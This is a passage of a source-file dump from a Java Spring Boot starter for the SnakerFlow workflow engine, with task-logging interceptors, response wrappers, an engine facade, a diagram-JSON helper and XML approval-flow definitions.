    "content": "\npackage io.github.wujun728.snakerflow.module;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.snaker.engine.SnakerInterceptor;\nimport org.snaker.engine.core.Execution;\nimport org.snaker.engine.entity.Task;\nimport org.springframework.stereotype.Component;\n\n/**\n * Easy Admin 全局拦截器（只拦截创建任务） 可用于任务到达时的短信提醒\n * 无需其他配置\n */\n@Component\n@Slf4j\npublic class EasyGlobalCreateTaskInterceptor implements SnakerInterceptor {\n    /**\n     * 拦截产生的任务对象，打印日志\n     */\n    @Override\n    public void intercept(Execution execution) {\n        for (Task task : execution.getTasks()) {\n            StringBuffer buffer = new StringBuffer(100);\n            buffer.append(\"创建任务[标识=\").append(task.getId());\n            buffer.append(\",名称=\").append(task.getDisplayName());\n            buffer.append(\",创建时间=\").append(task.getCreateTime());\n            buffer.append(\",参与者={\");\n            if (task.getActorIds() != null) {\n                for (String actor : task.getActorIds()) {\n                    buffer.append(actor).append(\";\");\n                }\n            }\n            buffer.append(\"}]\");\n            log.info(buffer.toString());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/module/EasyPartEndProcessInterceptor.java",
    "content": "\npackage io.github.wujun728.snakerflow.module;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.snaker.engine.SnakerInterceptor;\nimport org.snaker.engine.core.Execution;\nimport org.snaker.engine.entity.Task;\n\n/**\n * Easy Admin 局部拦截器，这里需要配置在 xml中，postInterceptors = com.laker.admin.framework.ext.snakerflow.EasyPartEndProcessInterceptor\n * 这里以流程结束拦截为例，例如配置 某些流程结束 短信通知报告发起人\n * 不需要注解了，反射实例化的\n */\n@Slf4j\npublic class EasyPartEndProcessInterceptor implements SnakerInterceptor {\n    /**\n     * 拦截产生的任务对象，打印日志\n     */\n    @Override\n    public void intercept(Execution execution) {\n\n        for (Task task : execution.getTasks()) {\n            StringBuffer buffer = new StringBuffer(100);\n            buffer.append(\"创建任务[标识=\").append(task.getId());\n            buffer.append(\",名称=\").append(task.getDisplayName());\n            buffer.append(\",创建时间=\").append(task.getCreateTime());\n            buffer.append(\",参与者={\");\n            if (task.getActorIds() != null) {\n                for (String actor : task.getActorIds()) {\n                    buffer.append(actor).append(\";\");\n                }\n            }\n            buffer.append(\"}]\");\n            log.info(buffer.toString());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/module/GeneralCompletion.java",
    "content": "package io.github.wujun728.snakerflow.module;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.snaker.engine.Completion;\nimport org.snaker.engine.entity.HistoryOrder;\nimport org.snaker.engine.entity.HistoryTask;\nimport org.springframework.stereotype.Component;\n\n/**\n * 任务、实例完成时触发动作的接口\n */\n@Component\n@Slf4j\npublic class GeneralCompletion implements Completion {\n\n    @Override\n    public void complete(HistoryTask task) {\n\n        log.info(\"The task[{}] has been user[{}] has completed\", task, task.getOperator());\n    }\n\n    @Override\n    public void complete(HistoryOrder order) {\n\n\n        log.info(\"The order[{}] has completed\", order);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/module/PageResponse.java",
    "content": "package io.github.wujun728.snakerflow.module;\n\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;\n\n/**\n * @author longli\n */\n@ApiModel\npublic class PageResponse<T> extends Response<T> {\n\n    @ApiModelProperty(notes = \"数量\")\n    private Long count;\n\n    public PageResponse(String code, String msg, T data, Long count) {\n        super(code, msg, data);\n        this.count = count;\n    }\n\n    public static <T> PageResponse<T> ok(T data, Long count) {\n        return new PageResponse<>(\"0\", \"\", data, count);\n    }\n\n    public Long getCount() {\n        return count;\n    }\n\n    public void setCount(Long count) {\n        this.count = count;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/module/Response.java",
    "content": "package io.github.wujun728.snakerflow.module;\n\nimport cn.hutool.core.util.StrUtil;\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport org.slf4j.MDC;\nimport org.springframework.context.annotation.DependsOn;\n\n/**\n * @author longli\n */\n@Data\n@AllArgsConstructor\n@ApiModel\n@DependsOn\npublic class Response<T> {\n    @ApiModelProperty(notes = \"响应码，非0 即为异常\", example = \"0\")\n    private final String code;\n    @ApiModelProperty(notes = \"响应消息\", example = \"提交成功\")\n    private final String msg;\n    @ApiModelProperty(notes = \"响应数据\")\n    private final T data;\n    @ApiModelProperty(notes = \"请求id\")\n    private final String requestId;\n\n    @ApiModelProperty(notes = \"请求id\")\n    private final Boolean success;\n\n    public Response(String code, String msg, T data) {\n        this.code = code;\n        this.msg = msg;\n        this.data = data;\n        this.success = StrUtil.equals(\"0\", code);\n        this.requestId = MDC.get(\"requestId\");\n    }\n\n    public static <T> Response<T> ok(T data) {\n        return new Response<>(\"0\", \"操作成功\", data);\n    }\n\n    public static <Void> Response<Void> ok() {\n        return new Response<Void>(\"0\", \"操作成功\", null);\n    }\n\n    public static <T> Response<T> error(T data) {\n        return new Response<>(\"400\", \"\", data);\n    }\n\n    public static <T> Response<T> error(String code, String msg, T data) {\n        return new Response<>(code, msg, data);\n    }\n\n    public static <T> Response<T> error(String code, String msg) {\n        return new Response<>(code, msg, null);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/process/BaseFlowController.java",
    "content": "package io.github.wujun728.snakerflow.process;\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport org.snaker.engine.access.QueryFilter;\nimport org.snaker.engine.entity.HistoryOrder;\nimport org.snaker.engine.entity.WorkItem;\nimport org.springframework.beans.factory.annotation.Autowired;\n\n//import io.github.wujun728.module.ext.mapper.BizCommonMapper;\nimport io.github.wujun728.common.base.BaseFlowEntity;\n//import io.github.wujun728.system.mapper.SysUserMapper;\n//import io.github.wujun728.system.service.HttpSessionService;\n\n//import cn.dev33.satoken.stp.StpUtil;\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.util.ArrayUtil;\nimport cn.hutool.core.util.StrUtil;\n\npublic class BaseFlowController {\n//    @Resource\n//    HttpSessionService sessionService;\n    @Autowired\n    private SnakerEngineFacets snakerEngineFacets;\n//    @Autowired\n//    private UserService sysUserService;\n//    @Autowired\n//\tprivate SysUserMapper sysuer;\n\n//    @Autowired\n//    private BizCommonMapper bizCommonMapper;\n\n    protected void setFlowStatusInfo(BaseFlowStatus baseFlowStatus) {\n        String orderId = baseFlowStatus.getOrderId();\n        // 流程实例状态\n        HistoryOrder histOrder = snakerEngineFacets.getEngine().query().getHistOrder(orderId);\n        if(histOrder!=null) {\n        \tbaseFlowStatus.setOrderState(histOrder.getOrderState());\n        }\n        List<WorkItem> workItems = snakerEngineFacets.getEngine().query().getWorkItems(null, new QueryFilter().setOrderId(orderId));\n        if (CollUtil.isNotEmpty(workItems)) {\n            WorkItem workItem = workItems.get(0);\n            // 当前流程实例任务节点名称\n            baseFlowStatus.setTaskName(workItem.getTaskName());\n//            List<HistoryTask> historyTasks = snakerEngineFacets.getEngine().query().getHistoryTasks(new QueryFilter()\n//                    .setOrderId(orderId)\n//                    .setOperator(sessionService.getCurrentUsername())\n//                    .orderBy(\"create_time\")\n//                    .order(QueryFilter.DESC));\n//            if (CollUtil.isNotEmpty(historyTasks)) {\n//                baseFlowStatus.setCreateTaskId(historyTasks.get(0).getId());\n//            }\n            // 当前流程实例任务操作人\n            String[] actors = snakerEngineFacets.getEngine().query().getTaskActorsByTaskId(workItem.getTaskId());\n            if (ArrayUtil.isNotEmpty(actors)) {\n//                List<String> res = new ArrayList<>();\n//                for (String actor : actors) {\n//                    //SysUser user = sysUserService.getById(Long.valueOf(actor));\n//                    SysUser user = sysuer.getUserByName(actor);\n//                    if (user != null) {\n//                        res.add(user.getRealName());\n//                    }\n//                }\n                String taskOperatorName = StrUtil.join(\",\", Arrays.asList(actors));\n                baseFlowStatus.setTaskOperatorName(taskOperatorName);\n                if(taskOperatorName.contains(\"sessionService.getCurrentUserRealname())\")) {\n                \tbaseFlowStatus.setIsOwner(1);\n                }\n            }\n        }\n    }\n    \n    protected void setFlowStatusInfo(BaseFlowEntity baseFlowEntity) {\n    \tString orderId = baseFlowEntity.getOrderId();\n    \t// 流程实例状态\n    \tHistoryOrder histOrder = snakerEngineFacets.getEngine().query().getHistOrder(orderId);\n    \tif(histOrder!=null) {\n    \t\tbaseFlowEntity.setOrderState(histOrder.getOrderState());\n    \t}\n    \tList<WorkItem> workItems = snakerEngineFacets.getEngine().query().getWorkItems(null, new QueryFilter().setOrderId(orderId));\n    \tif (CollUtil.isNotEmpty(workItems)) {\n    \t\tWorkItem workItem = workItems.get(0);\n    \t\t// 当前流程实例任务节点名称\n    \t\tbaseFlowEntity.setTaskName(workItem.getTaskName());\n//    \t\tList<HistoryTask> historyTasks = snakerEngineFacets.getEngine().query().getHistoryTasks(new QueryFilter()\n//    \t\t\t\t.setOrderId(orderId)\n//    \t\t\t\t.setOperator(sessionService.getCurrentUsername())\n//    \t\t\t\t.orderBy(\"create_time\")\n//    \t\t\t\t.order(QueryFilter.DESC));\n//    \t\tif (CollUtil.isNotEmpty(historyTasks)) {\n//    \t\t\tbaseFlowEntity.setCreateTaskId(historyTasks.get(0).getId());\n//    \t\t}\n    \t\t// 当前流程实例任务操作人\n    \t\tString[] actors = snakerEngineFacets.getEngine().query().getTaskActorsByTaskId(workItem.getTaskId());\n    \t\tif (ArrayUtil.isNotEmpty(actors)) {\n//    \t\t\tList<String> res = new ArrayList<>();\n//    \t\t\tfor (String actor : actors) {\n//    \t\t\t\t//SysUser user = sysUserService.getById(Long.valueOf(actor));\n//    \t\t\t\tSysUser user = sysuer.getUserByName(actor);\n//    \t\t\t\tif (user != null) {\n//    \t\t\t\t\tres.add(user.getRealName());\n//    \t\t\t\t}\n//    \t\t\t}\n    \t\t\tString taskOperatorName = StrUtil.join(\",\", Arrays.asList(actors));\n    \t\t\tbaseFlowEntity.setTaskOperatorName(taskOperatorName);\n                if(taskOperatorName.contains(\"sessionService.getCurrentUserRealname()\")) {  // 这个可能有问题，必须要是自己创建的数据\n//                \tbaseFlowEntity.setIsOwner(1);\n                }\n    \t\t}\n    \t}\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/process/BaseFlowStatus.java",
    "content": "package io.github.wujun728.snakerflow.process;\n\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport lombok.Data;\n\n/**\n * \n */\n@Data\npublic class BaseFlowStatus {\n    /**\n     * 当前流程实例id\n     */\n    private String orderId;\n    /**\n     * 当前流程所处任务节点名称\n     */\n    @TableField(exist = false)\n    private String taskName;\n\n    /**\n     * 第一个任务id，用于撤回流程\n     */\n    @TableField(exist = false)\n    private String createTaskId;\n    /**\n     * 当前流程所处任务操作人名称\n     */\n    @TableField(exist = false)\n    private String taskOperatorName;\n    /**\n     * 当前流程所处任务操作人\n     */\n    @TableField(exist = false)\n    private String taskOperatorId;\n    /**\n     * 流程实例状态（0：结束；1：活动）  --工作流逻辑状态，这个是实时到工作流里面去查询的\n     */\n    @TableField(exist = false)\n    private Integer orderState;\n    \n\t/**\n\t * 流程实例状态（0：结束；1：活动） --数据库里面的流程状态，主要是标记已完成的工作流\n\t */\n\t@TableField(value = \"order_status\")\n\tprivate Integer orderStatus;\n    \n\t@TableField(exist = false)\n\tprivate Integer isOwner;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/process/SnakerEngineFacets.java",
    "content": "package io.github.wujun728.snakerflow.process;\n\nimport org.snaker.engine.SnakerEngine;\nimport org.snaker.engine.access.QueryFilter;\nimport org.snaker.engine.entity.Order;\nimport org.snaker.engine.entity.Process;\nimport org.snaker.engine.entity.Task;\nimport org.snaker.engine.model.TaskModel;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport java.io.InputStream;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * SnakerEngineFacets封装snakerflow基本操作，可以直接使用\n *\n * @author zhaoguoqing\n * @since 0.1\n */\n@Component\npublic class SnakerEngineFacets {\n    @Autowired\n    private SnakerEngine engine;\n\n    /**\n     * 初始化状态机流程\n     *\n     * @return 流程主键\n     */\n    public String initFlows() {\n        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n        InputStream stream = classLoader.getResourceAsStream(\"flows/leave.snaker\");\n        String deploy = engine.process().deploy(stream);\n        return deploy;\n    }\n    \n    /**\n     * 初始化状态机流程\n     *\n     * @return 流程主键\n     */\n    public String initFlowsByName(String filename) {\n    \tClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n    \tInputStream stream = classLoader.getResourceAsStream(\"flows/\"+filename);\n    \tString deploy = engine.process().deploy(stream);\n    \treturn deploy;\n    }\n\n    /**\n     * 获得所有有效流程\n     *\n     * @return List<Process>\n     */\n    public List<Process> getAllProcess() {\n        QueryFilter filter = new QueryFilter();\n        return engine.process().getProcesss(filter);\n    }\n\n    /**\n     * 通过orderId 获得流程\n     *\n     * @param orderId 流程实例Id\n     * @return List<Process>\n     */\n    public List<Process> getProcessByOrderId(String orderId) {\n        QueryFilter filter = new QueryFilter();\n        filter.setOrderId(orderId);\n        return engine.process().getProcesss(filter);\n    }\n\n    /**\n     * 获得执行引擎\n     *\n     * @return SnakerEngine\n     */\n    public SnakerEngine getEngine() {\n        return engine;\n    }\n\n    /**\n     * 获得所有流程的名字\n     *\n     * @return List<String>\n     */\n    public List<String> getAllProcessNames() {\n        List<Process> list = engine.process().getProcesss(new QueryFilter());\n        List<String> names = new ArrayList<>();\n        for (Process entity : list) {\n            if (names.contains(entity.getName())) {\n                continue;\n            } else {\n                names.add(entity.getName());\n            }\n        }\n        return names;\n    }\n\n    /**\n     * 通过processId发起一个流程实例\n     *\n     * @param processId 流程ID\n     * @param operator  操作人\n     * @param args      自定义参数\n     * @return Order流程实例\n     */\n    public Order startInstanceById(String processId, String operator, Map<String, Object> args) {\n        return engine.startInstanceById(processId, operator, args);\n    }\n\n    /**\n     * 通过process name发起一个流程实例\n     *\n     * @param name     流程 name\n     * @param operator 操作人\n     * @param args     自定义参数\n     * @return Order流程实例\n     */\n    public Order startInstanceByName(String name, Integer version, String operator, Map<String, Object> args) {\n        return engine.startInstanceByName(name, version, operator, args);\n    }\n\n    /**\n     * 执行流程实例\n     *\n     * @param name     流程 name\n     * @param version  版本\n     * @param operator 操作人\n     * @param args     自定义参数\n     * @return Order流程实例\n     */\n    public Order startAndExecute(String name, Integer version, String operator, Map<String, Object> args) {\n        Order order = engine.startInstanceByName(name, version, operator, args);\n        List<Task> tasks = engine.query().getActiveTasks(new QueryFilter().setOrderId(order.getId()));\n        List<Task> newTasks = new ArrayList<Task>();\n        if (tasks != null && tasks.size() > 0) {\n            Task task = tasks.get(0);\n            newTasks.addAll(engine.executeTask(task.getId(), operator, args));\n        }\n        return order;\n    }\n\n    /**\n     * 执行流程实例\n     *\n     * @param processId 流程Id\n     * @param operator  操作人\n     * @param args      自定义参数\n     * @return Order流程实例\n     */\n    public Order startAndExecute(String processId, String operator, Map<String, Object> args) {\n        Order order = engine.startInstanceById(processId, operator, args);\n        List<Task> tasks = engine.query().getActiveTasks(new QueryFilter().setOrderId(order.getId()));\n        List<Task> newTasks = new ArrayList<Task>();\n        if (tasks != null && tasks.size() > 0) {\n            Task task = tasks.get(0);\n            newTasks.addAll(engine.executeTask(task.getId(), operator, args));\n        }\n        return order;\n    }\n\n    /**\n     * 通过taskId执行\n     *\n     * @param taskId   任务Id\n     * @param operator 操作人\n     * @param args     自定义参数\n     * @return List<Task>\n     */\n    public List<Task> execute(String taskId, String operator, Map<String, Object> args) {\n        return engine.executeTask(taskId, operator, args);\n    }\n\n    /**\n     * 流程跳转\n     *\n     * @param taskId   任务Id\n     * @param operator 操作人\n     * @param args     自定义参数\n     * @param nodeName 跳转到的节点名称\n     * @return List<Task>\n     */\n    public List<Task> executeAndJump(String taskId, String operator, Map<String, Object> args, String nodeName) {\n        return engine.executeAndJumpTask(taskId, operator, args, nodeName);\n    }\n\n    /**\n     * 通过orderId获取对应的流程task\n     *\n     * @param orderId 流程实例Id\n     * @return List<Task>\n     */\n    public List<Task> getTasks(String orderId) {\n        return engine.query().getActiveTasks(new QueryFilter().setOrderId(orderId));\n    }\n\n    /**\n     * 转办 主办\n     * @param taskId\n     * @param operator\n     * @param actors\n     * @return\n     */\n    public List<Task> transferMajor(String taskId, String operator, String... actors) {\n        List<Task> tasks = engine.task().createNewTask(taskId, TaskModel.TaskType.Major.ordinal(), actors);\n        engine.task().complete(taskId, operator);\n        return tasks;\n    }\n\n    /**\n     * 转办 协办\n     * @param taskId\n     * @param operator\n     * @param actors\n     * @return\n     */\n    public List<Task> transferAidant(String taskId, String operator, String... actors) {\n        List<Task> tasks = engine.task().createNewTask(taskId, TaskModel.TaskType.Aidant.ordinal(), actors);\n        engine.task().complete(taskId, operator);\n        return tasks;\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/process/SnakerHelper.java",
    "content": "/*\n *  Copyright 2014-2015 snakerflow.com\n *  *\n *  * Licensed under the Apache License, Version 2.0 (the \"License\");\n *  * you may not use this file except in compliance with the License.\n *  * You may obtain a copy of the License at\n *  *\n *  *     http://www.apache.org/licenses/LICENSE-2.0\n *  *\n *  * Unless required by applicable law or agreed to in writing, software\n *  * distributed under the License is distributed on an \"AS IS\" BASIS,\n *  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  * See the License for the specific language governing permissions and\n *  * limitations under the License.\n *\n */\npackage io.github.wujun728.snakerflow.process;\n\nimport org.apache.commons.beanutils.BeanUtils;\nimport org.apache.commons.beanutils.PropertyUtils;\nimport org.apache.commons.lang.StringUtils;\nimport org.snaker.engine.entity.HistoryTask;\nimport org.snaker.engine.entity.Task;\nimport org.snaker.engine.model.*;\n\nimport java.beans.PropertyDescriptor;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Snaker的帮助类\n *\n * @author yuqs\n * @since 0.1\n */\npublic class SnakerHelper {\n    private static Map<Class<? extends NodeModel>, String> mapper = new HashMap<Class<? extends NodeModel>, String>();\n\n    static {\n        mapper.put(TaskModel.class, \"task\");\n        mapper.put(CustomModel.class, \"custom\");\n        mapper.put(DecisionModel.class, \"decision\");\n        mapper.put(EndModel.class, \"end\");\n        mapper.put(ForkModel.class, \"fork\");\n        mapper.put(JoinModel.class, \"join\");\n        mapper.put(StartModel.class, \"start\");\n        mapper.put(SubProcessModel.class, \"subprocess\");\n    }\n\n    public static String getStateJson(ProcessModel model, List<Task> activeTasks, List<HistoryTask> historyTasks) {\n        StringBuffer buffer = new StringBuffer();\n        buffer.append(\"{'activeRects':{'rects':[\");\n        if (activeTasks != null && activeTasks.size() > 0) {\n            for (Task task : activeTasks) {\n                buffer.append(\"{'paths':[],'name':'\");\n                buffer.append(task.getTaskName());\n                buffer.append(\"'},\");\n            }\n            buffer.deleteCharAt(buffer.length() - 1);\n        }\n        buffer.append(\"]}, 'historyRects':{'rects':[\");\n        if (historyTasks != null && historyTasks.size() > 0) {\n            for (HistoryTask historyTask : historyTasks) {\n                NodeModel parentModel = model.getNode(historyTask.getTaskName());\n                if (parentModel == null) continue;\n                buffer.append(\"{'name':'\").append(parentModel.getName()).append(\"','paths':[\");\n                buffer.append(\"]},\");\n            }\n            buffer.deleteCharAt(buffer.length() - 1);\n        }\n        buffer.append(\"]}}\");\n        return buffer.toString();\n    }\n\n    public static String getModelJson(ProcessModel model) {\n        StringBuffer buffer = new StringBuffer();\n        List<TransitionModel> tms = new ArrayList<TransitionModel>();\n        for (NodeModel node : model.getNodes()) {\n            for (TransitionModel tm : node.getOutputs()) {\n                tms.add(tm);\n            }\n        }\n        buffer.append(\"{\");\n        buffer.append(getNodeJson(model.getNodes()));\n        buffer.append(getPathJson(tms));\n        buffer.append(\"props:{props:{name:{name:'name',value:'\");\n        buffer.append(convert(model.getName()));\n        buffer.append(\"'},displayName:{name:'displayName',value:'\");\n        buffer.append(convert(model.getDisplayName()));\n        buffer.append(\"'},expireTime:{name:'expireTime',value:'\");\n        buffer.append(convert(model.getExpireTime()));\n        buffer.append(\"'},instanceUrl:{name:'instanceUrl',value:'\");\n        buffer.append(convert(model.getInstanceUrl()));\n        buffer.append(\"'},instanceNoClass:{name:'instanceNoClass',value:'\");\n        buffer.append(convert(model.getInstanceNoClass()));\n        buffer.append(\"'}}}}\");\n        return buffer.toString();\n    }\n\n    public static String getNodeJson(List<NodeModel> nodes) {\n        StringBuffer buffer = new StringBuffer();\n        buffer.append(\"states: {\");\n        for (NodeModel node : nodes) {\n            buffer.append(node.getName());\n            buffer.append(getBase(node));\n            buffer.append(getLayout(node));\n            buffer.append(getProperty(node));\n            buffer.append(\",\");\n        }\n        buffer.deleteCharAt(buffer.length() - 1);\n        buffer.append(\"},\");\n        return buffer.toString();\n    }\n\n    public static String getPathJson(List<TransitionModel> tms) {\n        StringBuffer buffer = new StringBuffer();\n        buffer.append(\"paths:{\");\n        for (TransitionModel tm : tms) {\n            buffer.append(tm.getName());\n            buffer.append(\":{from:'\");\n            buffer.append(tm.getSource().getName());\n            buffer.append(\"',to:'\");\n            buffer.append(tm.getTarget().getName());\n            buffer.append(\"', dots:[\");\n            if (StringUtils.isNotEmpty(tm.getG())) {\n                String[] bendpoints = tm.getG().split(\";\");\n                for (String bendpoint : bendpoints) {\n                    buffer.append(\"{\");\n                    String[] xy = bendpoint.split(\",\");\n                    buffer.append(\"x:\").append(getNumber(xy[0]));\n                    buffer.append(\",y:\").append(xy[1]);\n                    buffer.append(\"},\");\n                }\n                buffer.deleteCharAt(buffer.length() - 1);\n            }\n            buffer.append(\"],text:{text:'\");\n            buffer.append(tm.getDisplayName());\n            buffer.append(\"'},textPos:{\");\n            if (StringUtils.isNotEmpty(tm.getOffset())) {\n                String[] values = tm.getOffset().split(\",\");\n                buffer.append(\"x:\").append(values[0]).append(\",\");\n                buffer.append(\"y:\").append(values[1]).append(\"\");\n            }\n            buffer.append(\"}, props:{name:{value:'\" + tm.getName() + \"'},expr:{value:'\" + tm.getExpr() + \"'}}}\");\n            buffer.append(\",\");\n        }\n        buffer.deleteCharAt(buffer.length() - 1);\n        buffer.append(\"},\");\n        return buffer.toString();\n    }\n\n    private static String getBase(NodeModel node) {\n        StringBuffer buffer = new StringBuffer();\n        buffer.append(\":{type:'\");\n        buffer.append(mapper.get(node.getClass()));\n        buffer.append(\"',text:{text:'\");\n        buffer.append(node.getDisplayName());\n        buffer.append(\"'},\");\n        return buffer.toString();\n    }\n\n    private static String getProperty(NodeModel node) {\n        StringBuffer buffer = new StringBuffer();\n        buffer.append(\"props:{\");\n        try {\n            PropertyDescriptor[] beanProperties = PropertyUtils.getPropertyDescriptors(node);\n            for (PropertyDescriptor propertyDescriptor : beanProperties) {\n                if (propertyDescriptor.getReadMethod() == null || propertyDescriptor.getWriteMethod() == null)\n                    continue;\n                String name = propertyDescriptor.getName();\n                String value = \"\";\n                if (propertyDescriptor.getPropertyType() == String.class) {\n                    value = (String) BeanUtils.getProperty(node, name);\n                } else {\n                    continue;\n                }\n                if (value == null || value.equals(\"\")) continue;\n                buffer.append(name);\n                buffer.append(\":{value:'\");\n                buffer.append(convert(value));\n                buffer.append(\"'},\");\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        buffer.deleteCharAt(buffer.length() - 1);\n        buffer.append(\"}}\");\n        return buffer.toString();\n    }\n\n    private static String getLayout(NodeModel node) {\n        StringBuffer buffer = new StringBuffer();\n        buffer.append(\"attr:{\");\n        String[] values = node.getLayout().split(\",\");\n        buffer.append(\"x:\").append(getNumber(values[0])).append(\",\");\n        buffer.append(\"y:\").append(values[1]).append(\",\");\n        if (\"-1\".equals(values[2])) {\n            if (node instanceof TaskModel || node instanceof CustomModel || node instanceof SubProcessModel) {\n                values[2] = \"100\";\n            } else {\n                values[2] = \"50\";\n            }\n        }\n        if (\"-1\".equals(values[3])) {\n            values[3] = \"50\";\n        }\n        buffer.append(\"width:\").append(values[2]).append(\",\");\n        buffer.append(\"height:\").append(values[3]);\n        buffer.append(\"},\");\n        return buffer.toString();\n    }\n\n    private static String convert(String value) {\n        if (StringUtils.isEmpty(value))\n            return \"\";\n        if (value.indexOf(\"'\") != -1) {\n            value = value.replaceAll(\"'\", \"#1\");\n        }\n        if (value.indexOf(\"\\\"\") != -1) {\n            value = value.replaceAll(\"\\\"\", \"#2\");\n        }\n        if (value.indexOf(\"\\r\\n\") != -1) {\n            value = value.replaceAll(\"\\r\\n\", \"#3\");\n        }\n        if (value.indexOf(\"\\n\") != -1) {\n            value = value.replaceAll(\"\\n\", \"#4\");\n        }\n        if (value.indexOf(\">\") != -1) {\n            value = value.replaceAll(\">\", \"#5\");\n        }\n        if (value.indexOf(\"<\") != -1) {\n            value = value.replaceAll(\"<\", \"#6\");\n        }\n        if (value.indexOf(\"&amp;\") != -1) {\n            value = value.replaceAll(\"&amp;\", \"#7\");\n        }\n        return value;\n    }\n\n    public static String convertXml(String value) {\n        if (value.indexOf(\"#1\") != -1) {\n            value = value.replaceAll(\"#1\", \"'\");\n        }\n        if (value.indexOf(\"#2\") != -1) {\n            value = value.replaceAll(\"#2\", \"\\\"\");\n        }\n        if (value.indexOf(\"#5\") != -1) {\n            value = value.replaceAll(\"#5\", \"&gt;\");\n        }\n        if (value.indexOf(\"#6\") != -1) {\n            value = value.replaceAll(\"#6\", \"&lt;\");\n        }\n        if (value.indexOf(\"&\") != -1) {\n            value = value.replaceAll(\"#7\", \"&amp;\");\n        }\n        return value;\n    }\n\n    private static int getNumber(String value) {\n        if (value == null) return 0;\n        try {\n            return Integer.parseInt(value) + 180;\n        } catch (Exception e) {\n            return 0;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/process/SnakerflowTestService.java",
    "content": "package io.github.wujun728.snakerflow.process;\n\nimport java.util.List;\n\nimport org.snaker.engine.entity.Order;\nimport org.snaker.engine.entity.Process;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.json.JSONUtil;\n\n/**\n * description: SnakerflowTestService\n *\n * @author guoqing.zhao\n * Date: 2020-03-23 9:20 下午\n */\n@Service\npublic class SnakerflowTestService {\n    @Autowired\n    private SnakerEngineFacets snakerEngineFacets;\n\n\n    /**\n     * 主要用于测试snakerflow是否正常加载\n     *\n     * @return String\n     */\n    @Transactional\n    public String getProcess() {\n        snakerEngineFacets.initFlows();\n        List<Process> allProcess = snakerEngineFacets.getAllProcess();\n        return JSONUtil.toJsonStr(allProcess);\n    }\n\n    /**\n     * 主要用于测试snakerflow是否正常加载\n     *\n     * @return String\n     */\n    @Transactional\n    public String start() {\n        List<Process> allProcess = snakerEngineFacets.getAllProcess();\n        if (CollUtil.isEmpty(allProcess)) {\n            return \"请先初始化process，http://localhost:8080/getProcessList\";\n        }\n        Order order = snakerEngineFacets.startInstanceById(allProcess.get(0).getId(), \"zhaoguoqing\", null);\n        return JSONUtil.toJsonStr(order);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.snakerflow.config.SankerflowAutoConfig"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/assessment.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"考核电子流\" name=\"assessment\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"430,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"考核申请\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/becomemember.snaker",
